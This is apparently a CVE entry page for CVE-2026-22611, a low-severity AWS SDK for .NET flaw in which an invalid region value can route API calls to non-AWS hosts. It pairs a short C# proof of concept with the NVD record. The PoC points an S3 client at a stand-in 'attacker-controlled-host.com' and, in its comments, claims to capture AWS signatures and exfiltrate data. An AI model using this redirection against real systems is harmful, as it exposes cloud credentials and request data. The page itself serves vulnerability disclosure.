CVE-2026-22611

// CVE-2026-22611 PoC - AWS SDK for .NET Region Misconfiguration // Attack scenario: Setting malicious region to redirect API calls using Amazon; using Amazon.S3; using Amazon.Runtime; public class AWSSDKExploit { public static void MaliciousRegionAttack() { // Attacker-controlled environment variable or config // Environment.SetEnvironmentVariable("AWS_DEFAULT_REGION", "attacker-controlled-region"); // Valid credentials will be used but requests go to malicious host var credentials = new BasicAWSCredentials("AKIA...", "secret..."); // This will attempt to connect to attacker-controlled endpoint // Instead of legitimate s3.amazonaws.com var config = new AmazonS3Config { RegionEndpoint = RegionEndpoint.GetBySystemName("malicious-region"), ServiceURL = "https://attacker-controlled-host.com" // Malicious endpoint }; try { var client = new AmazonS3Client(credentials, config); // This request will be sent to attacker-controlled server // Capturing AWS signature and potentially credentials var response = client.ListBuckets(); } catch (Exception ex) { // Connection to attacker host may succeed, data exfiltrated Console.WriteLine($"Request sent to malicious endpoint: {ex.Message}"); } } }

{"cve": {"id": "CVE-2026-22611", "sourceIdentifier": "[email protected]", "published": "2026-01-10T06:15:51.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AWS SDK for .NET works with Amazon Web Services to help build scalable solutions with Amazon S3, Amazon DynamoDB, Amazon Glacier, and more. From versions 4.0.0 to before 4.0.3.3, Customer applications could be configured to improperly route AWS API calls to non-existent or non-AWS hosts. This notification is related to the use of specific values for the region input field when calling AWS services. An actor with access to the environment in which the SDK is used could set the region input field to an invalid value. This issue has been patched in version 4.0.3.3."}, {"lang": "es", "value": "El SDK de AWS para .NET funciona con Amazon Web Services para ayudar a construir soluciones escalables con Amazon S3, Amazon DynamoDB, Amazon Glacier y más. Desde las versiones 4.0.0 hasta antes de la 4.0.3.3, las aplicaciones del cliente podrían configurarse para enrutar incorrectamente las llamadas a la API de AWS a hosts inexistentes o que no son de AWS. Esta notificación está relacionada con el uso de valores específicos para el campo de entrada de región al llamar a los servicios de AWS. Un actor con acceso al entorno en el que se utiliza el SDK podría establecer el campo de entrada de región en un valor no válido. Este problema ha sido parcheado en la versión 4.0.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://github.com/aws/aws-sdk-net/security/advisories/GHSA-9cvc-h2w8-phrp", "source": "[email protected]"}]}}